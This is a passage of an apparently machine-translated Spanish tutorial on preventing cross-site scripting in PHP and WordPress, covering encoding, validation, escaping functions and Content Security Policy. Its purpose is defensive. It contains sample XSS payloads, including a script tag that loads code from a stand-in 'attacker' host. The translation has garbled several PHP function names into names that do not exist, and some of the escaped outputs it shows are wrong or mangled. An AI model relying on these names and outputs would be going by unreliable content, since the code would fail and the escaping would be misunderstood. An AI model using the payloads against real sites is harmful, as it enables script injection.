En cambio, el manejo de la entrada saliente debería ser su principal línea de defensa contra XSS, porque puede tener en cuenta el contexto específico en el que se insertará la entrada del usuario. Dicho esto, la validación entrante aún se puede utilizar para agregar una capa secundaria de protección, como describiremos más adelante.
Dónde realizar un manejo seguro de la entrada
En la mayoría de las aplicaciones web modernas, la entrada del usuario se maneja tanto mediante código del lado del servidor como mediante código del lado del cliente. Para protegerse contra todos los tipos de XSS, se debe realizar un manejo de entrada seguro tanto en el código del lado del servidor como en el código del lado del cliente.
- Para protegerse contra XSS tradicional, el manejo seguro de la entrada debe realizarse en el código del lado del servidor. Esto se hace utilizando cualquier lenguaje soportado por el servidor.
- Para protegerse contra XSS basado en DOM donde el servidor nunca recibe la cadena maliciosa (como el ataque de identificador de fragmento descrito anteriormente ), se debe realizar un manejo de entrada seguro en el código del lado del cliente. Esto se hace usando JavaScript.
Ahora que hemos explicado por qué es importante el contexto, por qué es importante la distinción entre el manejo de entradas entrantes y salientes y por qué es necesario realizar un manejo seguro de las entradas tanto en el código del lado del cliente como en el del lado del servidor, continuaremos explicando cómo funciona el contexto. En realidad, se realizan dos tipos de manejo seguro de entradas (codificación y validación).
Codificación
La codificación es el acto de escapar de la entrada del usuario para que el navegador la interprete sólo como datos, no como código. El tipo de codificación más reconocible en el desarrollo web es el escape HTML, que convierte caracteres como <y >en <y >, respectivamente.
El siguiente pseudocódigo es un ejemplo de cómo la entrada del usuario podría codificarse utilizando el escape HTML y luego insertarse en una página mediante un script del lado del servidor:
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"
Si la entrada del usuario fuera la cadena <script>…</script>, el HTML resultante sería el siguiente:
<html>
Latest comment:
<script>…</script>
</html>
Debido a que se han escapado todos los caracteres con significado especial, el navegador no analizará ninguna parte de la entrada del usuario como HTML.
Codificación en código del lado del cliente y del lado del servidor
Al realizar la codificación en el código del lado del cliente, el lenguaje utilizado siempre es JavaScript, que tiene funciones integradas que codifican datos para diferentes contextos.
Al realizar la codificación en el código del lado del servidor, confía en las funciones disponibles en el lenguaje o marco del lado del servidor. Debido a la gran cantidad de lenguajes y marcos disponibles, este tutorial no cubrirá los detalles de la codificación en ningún lenguaje o marco específico del lado del servidor. Sin embargo, estar familiarizado con las funciones de codificación utilizadas en el lado del cliente en JavaScript también es útil al escribir código del lado del servidor.
Codificación en el lado del cliente
Al codificar la entrada del usuario en el lado del cliente usando JavaScript, existen varios métodos y propiedades integrados que codifican automáticamente todos los datos según el contexto:
Contexto | Método/propiedad |
contenido del elemento HTML | node.textContent = userInput |
valor del atributo HTML | element.setAttribute(attribute, userInput)oelement[attribute] = userInput |
valor de consulta de URL | window.encodeURIComponent(userInput) |
valor CSS | element.style.property = userInput |
El último contexto mencionado anteriormente (valores de JavaScript) no está incluido en esta lista, porque JavaScript no proporciona una forma integrada de codificar los datos que se incluirán en el código fuente de JavaScript.
Limitaciones de la codificación
Incluso con codificación, será posible introducir cadenas maliciosas en algunos contextos. Un ejemplo notable de esto es cuando se utiliza la entrada del usuario para proporcionar URL, como en el siguiente ejemplo:
document.querySelector(‘a’).href = userInput
Aunque asignar un valor a la hrefpropiedad de un elemento ancla lo codifica automáticamente para que se convierta en nada más que un valor de atributo, esto en sí mismo no impide que el atacante inserte una URL que comience con ” javascript:”. Cuando se hace clic en el enlace, se ejecutará cualquier JavaScript incrustado dentro de la URL.
La codificación también es una solución inadecuada cuando realmente se desea que el usuario defina parte del código de una página. Un ejemplo es una página de perfil de usuario donde el usuario puede definir HTML personalizado. Si este HTML personalizado estuviera codificado, la página de perfil podría consistir únicamente en texto sin formato.
En situaciones como estas, la codificación debe complementarse con la validación, que describiremos a continuación.
Validación
La validación es el acto de filtrar la entrada del usuario para que se eliminen todas las partes maliciosas, sin necesariamente eliminar todo el código que contiene. Uno de los tipos de validación más reconocibles en el desarrollo web es permitir algunos elementos HTML (como <em>y <strong>) pero no permitir otros (como <script>).
Hay dos características principales de validación que difieren entre implementaciones:
Estrategia de clasificación: La entrada del usuario se puede clasificar mediante listas negras o listas blancas.
Resultado de la validación: Las entradas del usuario identificadas como maliciosas pueden rechazarse o desinfectarse.
Funciones para validar tus datos
La validación en programación es cuando verifica que los datos que su aplicación ha recibido se encuentran dentro de las restricciones que usted define para garantizar que no contengan nada irrazonable, innecesario o malicioso. La validación no reemplaza la desinfección o el escape , porque como veremos (en la sección que analiza filter_var() a continuación), los datos maliciosos pueden pasar algunas funciones de validación.
Las restricciones que utilizará varían, pero con frecuencia son similares a las restricciones utilizadas en un lenguaje estrictamente tipificado. Por ejemplo, podría utilizar algunas de las siguientes comprobaciones:
- ¿Son los datos un número entero? (solo de 0 a 9 dígitos)
- ¿Los datos son flotantes y se permite un punto decimal? (0 a 9 y carácter .)
- Son números de datos y guiones, por ejemplo, un campo de fecha de tarjeta de crédito.
- ¿Los datos son una cadena con números, letras, espacios y puntuación únicamente?
- ¿Los datos son una de un número limitado de opciones que se pueden seleccionar, por ejemplo, ‘opción1’, ‘opción2’, ‘opción3’?
Durante la validación, si rechaza datos, a menudo devolverá un error al usuario describiendo el problema y solicitándole los datos correctos.
A continuación, hemos incluido funciones que los desarrolladores de PHP utilizan con frecuencia para comprobar si los datos recibidos por una aplicación son válidos (para validar datos). Por lo general, se usan en una declaración if() para verificar si los datos son válidos y, de lo contrario, la aplicación devuelve un error al usuario.
funciones de PHP
Función | Que hace | Ejemplo |
es_numeric() | Prueba si los datos coinciden del 0 al 9 con signo opcional y punto decimal opcional. | is_numeric($input) devolverá verdadero si $input == ‘-9.123’ |
preg_match() | Pruebe si los datos coinciden con la expresión regular. | preg_match(‘/^[az]{2,3}$/’, $input) devuelve verdadero si $input tiene letras minúsculas de 2 o 3 caracteres. Tenga en cuenta ^ y $ en la expresión regular. |
var_filtro() | Pruebe si los datos se ajustan a un filtro PHP integrado. | filter_var($input, FILTER_VALIDATE_EMAIL) prueba si $input es una dirección de correo electrónico válida. Otros filtros útiles son FILTER_VALIDATE_IP, FILTER_VALIDATE_URL, FILTER_VALIDATE_BOOLEAN. Puedes encontrar más filtros aquí. |
en_matriz() | Prueba si los datos pertenecen a un rango de valores permitidos. | in_array($input, array(‘Windows’, ‘Linux’, ‘OSX’, ‘Other’)) devolverá verdadero si $input contiene uno de los valores permitidos. Ideal para campos <select> y botones de opción en formularios web. |
Cómo utilizar de forma segura expresiones regulares para la validación
Cuando use expresiones regulares con preg_match() para validar datos, asegúrese de hacer coincidir toda la cadena usando un carácter de intercalación ^ al comienzo de su expresión regular y un signo de dólar $ al final. Estos coinciden con el inicio y el final de una cadena y garantizarán que no solo esté validando algo en medio de la entrada, sino que esté validando toda la cadena. Omitirlos crea un grave problema de seguridad porque un atacante puede incluir algunos datos válidos que pasarán la prueba, pero anteponer o agregar cualquier cosa maliciosa que desee.
El uso de filter_var() para la validación no reemplaza la desinfección o el escape.
En general, la función filter_var() se utiliza de la siguiente manera para validar los datos a medida que llegan a su aplicación:
123 | if($test = filter_var(‘test@example.com’, FILTER_VALIDATE_EMAIL)){ echo “Received: $test\n”;} |
Si reemplaza el correo electrónico anterior con ‘test@example.com<script>’ verá que la verificación falla y la declaración de eco no se ejecuta.
Considere el siguiente ejemplo que demuestra cómo los datos maliciosos pueden pasar un paso de validación. Esto muestra cómo la validación no sustituye a la desinfección y el escape en la salida.
123 | if($test = filter_var(‘ http://example.com/?”><script>alert(“XSS”)</script><a”‘, FILTER_VALIDATE_URL)){ echo “Received: $test\n”;} |
El ejemplo anterior generará lo siguiente:
Esto crea una vulnerabilidad XSS si esta salida no está desinfectada ni escapada. Cambiar el código de la siguiente manera eliminará la vulnerabilidad XSS:
123 | if($test = filter_var(‘ http://example.com/?”><script>alert(“XSS”)</script><a”‘, FILTER_VALIDATE_URL)){ echo “Received: ” . esc_url($test) . “\n”;} |
El código anterior generará lo siguiente, que es seguro:
1 | Received: http://example.com/?scriptalert(XSS)/scripta |
Consulte a continuación para obtener más información sobre las funciones que puede utilizar para escapar y desinfectar.
Funciones para escapar y desinfectar sus datos
Cuando esté listo para enviar datos al navegador web de un visitante, un archivo, una red o algún otro lugar donde los datos salgan de su aplicación, deberá asegurarse de que los datos que está enviando estén seguros. PHP y WordPress proporcionan una variedad de funciones que escapan y/o desinfectan sus datos. Es importante tener en cuenta que estas funciones cambiarán sus datos si es necesario para que estén seguros.
Funciones integradas de desinfección y escape de PHP
Las siguientes funciones están integradas en PHP y puede usarlas ya sea que esté ejecutando su aplicación dentro del entorno de WordPress o no. Notarás que proporcionamos varios ejemplos de filter_var(). Este es el nuevo estándar en la desinfección de PHP y se incluye de forma predeterminada con PHP desde la versión 5.2 de PHP. Recomendamos usar filter_var() en lugar de funciones PHP más antiguas.
Función | Producción | Descripción |
intervalo(‘123AA456’) | 123 | Desinfectar números enteros. [ documentos ] |
filter_var(‘marca<script>@ejemplo.com’, FILTER_SANITIZE_EMAIL) | markscript@ejemplo.com | Desinfectar los correos electrónicos. [ documentos ] |
filter_var(‘Probando <etiquetas> y caracteres.’, FILTER_SANITIZE_SPECIAL_CHARS) | Probando <etiquetas> & caracteres. | Codifica caracteres especiales. [ documentos ] |
filter_var(‘Eliminar <etiqueta> y codificar.’, FILTER_SANITIZE_STRING); | Pele y codifique. | Eliminar etiquetas. [ documentos ] |
filter_var(‘Eliminar <etiqueta> y codificar.’, FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW | FILTER_FLAG_ENCODE_HIGH | FILTER_FLAG_ENCODE_AMP) | Tira & codificar. | Elimine etiquetas con indicadores de codificación adicionales. [ documentos ] |
Veamos algunos casos con WordPress
Funciones de desinfección de la API de WordPress. WordPress incluye una variedad de funciones de desinfección diseñadas para casos de uso específicos. Hemos incluido usos de ejemplo a continuación que le dan una idea de cómo estas funciones cambian los datos.
Función | Producción | Descripción |
absint(‘-123ABC’) | 123 | Desinfecta números enteros positivos. [ documentos ] |
sanitize_email(“!#$%^&*()__+=-{}|\][:\”\’;<>?/.,test@example.com”) | !#$%^&*__+=-{}|’?/.prueba@ejemplo.com | Desinfectar direcciones de correo electrónico. [ documentos ] |
sanitize_file_name(‘.-_/path/to/file–name.txt’); | rutaalnombre-archivo.txt | Desinfectar nombres de archivos. [ documentos ] |
sanitize_html_class(‘clase!@#$%^&*()-nombre_aquí.’); | nombre-clase_aquí | Desinfecta los nombres de clases de CSS. [ documentos ] |
sanitize_key(‘Nombre-Clave!@#$%^&*()<>,.?/’); | Nombre clave | Desinfectar claves para matrices asociativas. [ documentos ] |
sanitize_mime_type(‘text/plain-blah!@#$%^&*()}{[]”:;><,.?/’); | texto/plain-blah*./ | Desinfectar los tipos de mimos. [ documentos ] |
sanitize_option(‘thumbnail_size_h’, ‘123ABC-_’); | 123 | Opción de desinfección de WP. El tipo de filtrado depende del nombre de la opción. [ documentos ] |
sanitize_sql_orderby(‘colName’); | colNombre | Desinfecta un nombre de columna utilizado en SQL ‘ordenar por’. Devuelve en blanco si se encuentran caracteres no válidos. [ documentos ] |
sanitize_text_field(‘<tag>algo de texto</tag>’) | algún texto | Comprueba si hay UTF-8 no válido, convierte caracteres únicos < en entidad, elimina todas las etiquetas, elimina saltos de línea, tabulaciones y espacios en blanco adicionales, elimina octetos. [ documentos ] |
sanitize_title(‘<etiqueta><?php //bla ?>Título aquí’); | título-aquí | Convierte el texto en un título estilo slug para usarlo en una URL. [ documentos ] |
sanitize_user(‘<etiqueta>123ABCdef _.-*@nombre!#$’, verdadero); | 123ABCdef _ .-@nombre | Desinfecta los nombres de usuario de WP. El segundo parámetro permite una desinfección estricta. [ documentos ] |
Funciones de escape de la API de WordPress
WordPress también incluye funciones de escape para uso general. Hemos incluido las funciones principales a continuación con ejemplos de entrada y salida para ilustrar su uso.
Función | Producción | Comentarios |
esc_html(‘<etiqueta> & texto’); | <etiqueta> &erio; texto | Escapar de HTML para una salida segura del navegador. [ documentos ] |
esc_url(‘http://example.com/<script>alert(“PRUEBA”);</script>’); | http://ejemplo.com/scriptalert(PRUEBA);/script | Escapar de las URL para que sean seguras para su salida como texto o atributos HTML. [ documentos ] |
esc_js(‘alerta(“1”);’); | alerta(“1”); | Escapa de Javascript para que sea seguro para el uso de HTML en línea, por ejemplo, en el controlador onclick. [ documentos ] |
esc_attr(‘attr-<>&\’”nombre’); | attr-<>&'”nombre | Úselo para escapar de atributos HTML, por ejemplo, alt, título, valor, etc. [ docs ] |
esc_textarea(‘Texto <etiqueta> & texto’); | Texto <etiqueta> &erio; texto | Texto de escape para salida en el elemento <textarea>. [ documentos ] |
La función wp_kses()
wp_kses () es una función de desinfección más compleja. Elimina los guiones malvados. De ahí viene el nombre: “kses quita guiones malvados”. Cuando use wp_kses() necesitará incluir una serie de etiquetas y los atributos permitidos para cada etiqueta como segundo parámetro de kses. He aquí un ejemplo:
12345678 | $allowed = array( ‘a’ => array( ‘href’ => array(), ‘title’ => array() ), ‘br’ => array(), ’em’ => array(), ‘strong’ => array(),); echo wp_kses($output, $allowed); |
Lo anterior permitirá la etiqueta ‘A’ con los atributos ‘href’ y ‘title’. También permitirá las siguientes etiquetas sin atributos: br, em y strong. Si se incluyen atributos con esas etiquetas, se eliminarán.
wp_kses() consume mucho procesador porque el código es complejo. Entonces, en general, le recomendamos que primero intente usar las funciones PHP integradas porque son más rápidas, luego las funciones más simples de limpieza y escape de WordPress, y luego solo use wp_kses() si es necesario. Eso le brindará el mejor rendimiento para su complemento o tema.
En Worpress es importante que tomes medidas para solucionar el problema. Aquí hay algunos pasos que puedes seguir:
Medidas para solucionar el problema
- Actualiza WordPress y los plugins a la última versión: Asegurate de que WordPress y los plugins que estás usando estén actualizados a la última versión. Los desarrolladores a menudo lanzan actualizaciones de seguridad para abordar las vulnerabilidades conocidas, incluyendo las vulnerabilidades de XSS.
- Realiza un análisis de seguridad: Realiza un análisis de seguridad completo en tu sitio para identificar cualquier otra vulnerabilidad que pueda estar presente. Hay varias herramientas de análisis de seguridad disponibles en línea que pueden ayudarte a escanear tu sitio en busca de vulnerabilidades.
- Elimina el código malicioso: Si encuentras código malicioso en tu sitio, elimínalo inmediatamente. A menudo, el código malicioso de XSS se puede encontrar en los archivos PHP o JavaScript de tu sitio. Asegurate de que elimines todo el código malicioso y revisa todos los archivos para estar seguro.
- Restablece todas las contraseñas: Cambia todas las contraseñas de tu sitio, incluyendo la contraseña de administrador, y asegurate de que sean fuertes y únicas.
- Configura las políticas de seguridad adecuadas: Configura adecuadamente las políticas de seguridad de tu sitio para evitar que los atacantes exploten vulnerabilidades de XSS. Por ejemplo, puedes configurar las directivas de seguridad de contenido para evitar que se carguen scripts maliciosos.
- Utiliza plugins de seguridad: Utiliza plugins de seguridad de WordPress de buena reputación para proteger tu sitio contra futuros ataques de XSS. Estos plugins pueden ayudarte a detectar y prevenir vulnerabilidades de seguridad, como la inyección de scripts maliciosos.
Es importante tomar medidas rápidas para solucionar una vulnerabilidad de XSS en tu sitio WordPress, ya que los atacantes pueden utilizar estas vulnerabilidades para tomar el control de tu sitio y robar datos sensibles.
Estrategia de clasificación
Lista negra
Instintivamente, parece razonable realizar la validación definiendo un patrón prohibido que no debería aparecer en la entrada del usuario. Si una cadena coincide con este patrón, se marca como no válida. Un ejemplo sería permitir a los usuarios enviar URL personalizadas con cualquier protocolo excepto javascript:. Esta estrategia de clasificación se llama lista negra .
Sin embargo, la inclusión en listas negras tiene dos inconvenientes importantes:
Complejidad
Describir con precisión el conjunto de todas las posibles cadenas maliciosas suele ser una tarea muy compleja. La política de ejemplo descrita anteriormente no se pudo implementar exitosamente simplemente buscando la subcadena ” javascript”, porque esto perdería cadenas del formato ” Javascript:” (donde la primera letra está en mayúscula) y ” javascript:” (donde la primera letra está codificada como un número referencia de personaje).
Estancamiento
Incluso si se desarrollara una lista negra perfecta, fracasaría si se añadiera al navegador una nueva característica que permitiera el uso malicioso. Por ejemplo, una lista negra de validación de HTML desarrollada antes de la introducción del onmousewheelatributo HTML5 no lograría impedir que un atacante utilice ese atributo para realizar un ataque XSS. Este inconveniente es especialmente significativo en el desarrollo web, que se compone de muchas tecnologías diferentes que se actualizan constantemente.
Debido a estos inconvenientes, se desaconseja encarecidamente la inclusión en listas negras como estrategia de clasificación. La inclusión en listas blancas suele ser un enfoque mucho más seguro, como describiremos a continuación.
Lista blanca
La creación de listas blancas es esencialmente lo opuesto a las listas negras: en lugar de definir un patrón prohibido, un enfoque de lista blanca define un patrón permitido y marca la entrada como no válida si no coincide con este patrón.
A diferencia del ejemplo anterior de lista negra, un ejemplo de lista blanca sería permitir a los usuarios enviar URL personalizadas que contengan solo los protocolos http:y https:nada más. Este enfoque marcaría automáticamente una URL como no válida si tuviera el protocolo javascript:, incluso si apareciera como ” Javascript:” o ” javascript:”.
En comparación con las listas negras, las listas blancas tienen dos ventajas principales:
Sencillez: Describir con precisión un conjunto de cadenas seguras suele ser mucho más fácil que identificar el conjunto de todas las cadenas maliciosas. Esto es especialmente cierto en situaciones comunes en las que la entrada del usuario sólo necesita incluir un subconjunto muy limitado de la funcionalidad disponible en un navegador. Por ejemplo, la lista blanca descrita anteriormente que permite solo URL con los protocolos http:o https:es muy simple y perfectamente adecuada para los usuarios en la mayoría de situaciones.
Longevidad: A diferencia de una lista negra, una lista blanca generalmente no quedará obsoleta cuando se agregue una nueva función al navegador. Por ejemplo, una lista blanca de validación de HTML que permita solo el titleatributo en elementos HTML seguiría siendo segura incluso si se desarrollara antes de la introducción del onmousewheelatributo HTML5.
Resultado de la validación
Cuando la entrada se ha marcado como no válida, se puede realizar una de dos acciones:
Rechazo: La entrada simplemente se rechaza, lo que impide que se utilice en otras partes del sitio web.
Higienización: Todas las partes no válidas de la entrada se eliminan y el sitio web utiliza normalmente la entrada restante.
De estos dos, el rechazo es el enfoque más sencillo de implementar. Dicho esto, la desinfección puede ser más útil ya que permite una gama más amplia de aportaciones por parte del usuario. Por ejemplo, si un usuario envía un número de tarjeta de crédito, una rutina de desinfección que elimine todos los caracteres que no sean dígitos evitaría la inyección de código y permitiría al usuario ingresar el número con o sin guiones.
Si decide implementar una desinfección, debe asegurarse de que la rutina de desinfección en sí no utilice un enfoque de lista negra . Por ejemplo, la URL ” Javascript:…”, incluso cuando se identifica como no válida mediante un enfoque de lista blanca, superaría una rutina de desinfección que simplemente elimina todas las instancias de ” javascript:”. Por este motivo, siempre que sea posible, se deben utilizar bibliotecas y marcos bien probados para la desinfección.
¿Qué técnica de prevención utilizar?
La codificación debe ser su primera línea de defensa contra XSS, porque su propósito es neutralizar los datos para que no puedan interpretarse como código. En algunos casos, la codificación debe complementarse con validación, como se explicó anteriormente. Esta codificación y validación deben ser salientes, porque solo cuando la entrada se incluye en una página se sabe para qué contexto codificar y validar.
Como segunda línea de defensa, debe utilizar la validación entrante para desinfectar o rechazar datos que son claramente inválidos, como los enlaces que utilizan el javascript:protocolo. Si bien esto por sí solo no puede proporcionar seguridad total, es una precaución útil si en algún momento la codificación y validación saliente se realiza incorrectamente debido a errores o equivocaciones.
Si estas dos líneas de defensa se utilizan de forma coherente, su sitio web estará protegido de ataques XSS. Sin embargo, debido a la complejidad de crear y mantener un sitio web completo, puede resultar difícil lograr una protección total utilizando únicamente un manejo seguro de la entrada. Como tercera línea de defensa, también debes hacer uso de la Política de seguridad de contenido (CSP), que describiremos a continuación.
Política de seguridad de contenido (CSP)
La desventaja de protegerse contra XSS utilizando únicamente un manejo de entrada seguro es que incluso una sola falla de seguridad puede comprometer su sitio web. Un estándar web reciente llamado Política de seguridad de contenido (CSP) puede mitigar este riesgo.
CSP se utiliza para restringir el navegador que ve su página para que solo pueda usar recursos descargados de fuentes confiables. Un recurso es un script, una hoja de estilo, una imagen o algún otro tipo de archivo al que hace referencia la página. Esto significa que incluso si un atacante logra inyectar contenido malicioso en su sitio web, CSP puede impedir que se ejecute.
CSP se puede utilizar para hacer cumplir las siguientes reglas:
Sin fuentes no confiables: Los recursos externos sólo se pueden cargar desde un conjunto de fuentes confiables claramente definidas.
Sin recursos en línea: JavaScript y CSS en línea no se evaluarán.
Noeval: La función JavaScript evalno se puede utilizar.
CSP en acción: En el siguiente ejemplo, un atacante logró inyectar código malicioso en una página:
<html>
Latest comment:
<script src=”http://attacker/malicious‑script.js”></script>
</html>
Con una política CSP correctamente definida, el navegador no se cargaría ni ejecutaría malicious‑script.jsporque http://attacker/no estaría en el conjunto de fuentes confiables. Aunque en este caso el sitio web no pudo manejar de forma segura la entrada del usuario, la política del CSP evitó que la vulnerabilidad causara algún daño.
Incluso si el atacante hubiera inyectado el código del script en línea en lugar de vincularlo a un archivo externo, una política de CSP correctamente definida que no permitiera JavaScript en línea también habría evitado que la vulnerabilidad causara algún daño.
Cómo habilitar CSP
De forma predeterminada, los navegadores no aplican CSP. Para habilitar CSP en su sitio web, las páginas deben tener un encabezado HTTP adicional: Content‑Security‑Policy. Cualquier página enviada con este encabezado tendrá su política de seguridad respetada por el navegador que la cargue, siempre que el navegador admita CSP.
Dado que la política de seguridad se envía con cada respuesta HTTP, es posible que un servidor establezca su política página por página. Se puede aplicar la misma política a un sitio web completo proporcionando el mismo encabezado CSP en cada respuesta.
El valor del Content‑Security‑Policyencabezado es una cadena que define una o más políticas de seguridad que entrarán en vigor en su sitio web. La sintaxis de esta cadena se describirá a continuación.
Los encabezados de ejemplo en esta sección utilizan nuevas líneas y sangría para mayor claridad; esto no debería estar presente en un encabezado real.
Sintaxis de CSP
La sintaxis de un encabezado CSP es la siguiente:
Content‑Security‑Policy:
directive source‑expression, source‑expression, …;
directive …;
…
Esta sintaxis se compone de dos elementos:
- Las directivas son cadenas que especifican un tipo de recurso, tomadas de una lista predefinida.
- Las expresiones de origen son patrones que describen uno o más servidores desde donde se pueden descargar recursos.
Para cada directiva, las expresiones fuente dadas definen qué fuentes se pueden usar para descargar recursos del tipo respectivo.
Directivas
Las directivas que se pueden utilizar en un encabezado CSP son las siguientes:
- connect‑src
- font‑src
- frame‑src
- img‑src
- media‑src
- object‑src
- script‑src
- style‑src
Además de estas, la directiva especial default‑srcse puede utilizar para proporcionar un valor predeterminado para todas las directivas que no se han incluido en el encabezado.
Expresiones fuente
La sintaxis de una expresión fuente es la siguiente:
protocol://host‑name:port‑number
El nombre de host puede comenzar con *., lo que significa que se permitirá cualquier subdominio del nombre de host proporcionado. De manera similar, el número de puerto puede ser *, lo que significa que se permitirán todos los puertos. Además, se pueden omitir el protocolo y el número de puerto. Finalmente, se puede dar un protocolo propio, lo que permite exigir que todos los recursos se carguen mediante HTTPS.
Además de la sintaxis anterior, una expresión fuente puede ser alternativamente una de cuatro palabras clave con significado especial (comillas incluidas):
‘none’ No permite recursos.
‘self’ Permite recursos del host que sirvió la página.
‘unsafe‑inline’ Permite recursos incrustados en la página, como <script>elementos en línea, <style>elementos y javascript:URL.
‘unsafe‑eval’ Permite el uso de la evalfunción JavaScript.
Tenga en cuenta que siempre que se utiliza CSP, los recursos en línea y evalno se permiten automáticamente de forma predeterminada. Usar ‘unsafe‑inline’y ‘unsafe‑eval’es la única forma de permitirlos.
Una política de ejemplo
Content‑Security‑Policy:
script‑src ‘self’ scripts.example.com;
media‑src ‘none’;
img‑src *;
default‑src ‘self’ http://*.example.com
En esta política de ejemplo, la página está sujeta a las siguientes restricciones:
- Los scripts sólo se pueden descargar desde el host que sirve la página y desde scripts.example.com.
- Los archivos de audio y video no se pueden descargar desde ningún lugar.
- Los archivos de imagen se pueden descargar desde cualquier host.
- Todos los demás recursos se pueden descargar únicamente desde el host que sirve la página y desde cualquier subdominio de example.com.
Estado del PSIC
A partir de junio de 2013, la Política de seguridad de contenidos es una recomendación candidata del W3C . Lo están implementando los proveedores de navegadores, pero algunas partes todavía son específicas del navegador. En particular, el encabezado HTTP a utilizar puede diferir entre navegadores. Antes de utilizar CSP hoy, consulte la documentación de los navegadores que desea admitir.
Resumen
Descripción general de XSS
- XSS es un ataque de inyección de código posible gracias al manejo inseguro de la entrada del usuario.
- Un ataque XSS exitoso permite a un atacante ejecutar JavaScript malicioso en el navegador de la víctima.
- Un ataque XSS exitoso compromete la seguridad tanto del sitio web como de sus usuarios.
Ataques XSS
- Hay tres tipos principales de ataques XSS:
- XSS persistente, donde la entrada maliciosa se origina en la base de datos del sitio web.
- XSS reflejado, donde la entrada maliciosa se origina a partir de la solicitud de la víctima.
- XSS basado en DOM, donde la vulnerabilidad está en el código del lado del cliente en lugar del código del lado del servidor.
- Todos estos ataques se realizan de diferentes maneras, pero tienen el mismo efecto si tienen éxito.
Prevención de XSS
- La forma más importante de prevenir ataques XSS es realizar un manejo de entrada seguro.
- La mayoría de las veces, la codificación debe realizarse siempre que se incluyan entradas del usuario en una página.
- En algunos casos, la codificación debe ser reemplazada o complementada con validación.
- El manejo seguro de la entrada debe tener en cuenta en qué contexto de una página se inserta la entrada del usuario.
- Para evitar todo tipo de ataques XSS, se debe realizar un manejo seguro de la entrada tanto en el código del lado del cliente como del del servidor.
- La política de seguridad de contenido proporciona una capa adicional de defensa para cuando falla el manejo seguro de la entrada.
Conclusión
Cabe señalar que existe una superposición en la terminología utilizada actualmente para describir XSS: un ataque XSS basado en DOM también es persistente o reflejado al mismo tiempo; No es un tipo de ataque separado. No existe una terminología ampliamente aceptada que cubra todos los tipos de XSS sin superposición. Sin embargo, independientemente de la terminología utilizada para describir XSS, lo más importante a identificar sobre cualquier ataque es de dónde proviene la entrada maliciosa y dónde se encuentra la vulnerabilidad.
Si sigue las pautas básicas de esta página, podrá evitar las vulnerabilidades más comunes que se introducen en el código. En general, dedicar tiempo a la validación de entradas y la desinfección y escape de salidas hará que su aplicación sea segura.
Al elegir funciones para desinfección y escape, elija la función que más se acerque a su caso de uso específico. Si está enviando datos a un atributo HTML, utilice una función de desinfección o escape específica para los atributos HTML. Esto le brindará la mejor combinación de rendimiento y seguridad de la aplicación.
Si puede evitar las vulnerabilidades XSS y proteger la salida de su aplicación, evitará casi la mitad de todas las vulnerabilidades que podrían introducirse en su aplicación.
REFERENCIAS
- Documentación filter_var() de PHP.
- Filtros de validación de PHP.
- Filtros de sanitización de PHP.
- Funciones de WordPress para desinfección y escape (artículo sobre Validación de datos).
- Otro artículo de WordPress sobre validación, desinfección y escape de datos de usuario.
- Artículo de OWASP sobre XSS.
- Hoja de referencia de OWASP XSS.
- Artículo de seguridad de aplicaciones de Google sobre XSS.
- https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html
- https://cwe.mitre.org/data/definitions/79.html
- http://projects.webappsec.org/Cross-Site-Scripting
- https://owasp.org/Top10/A03_2021-Injection/
- https://owasp.org/www-project-web-security-testing-guide
- https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html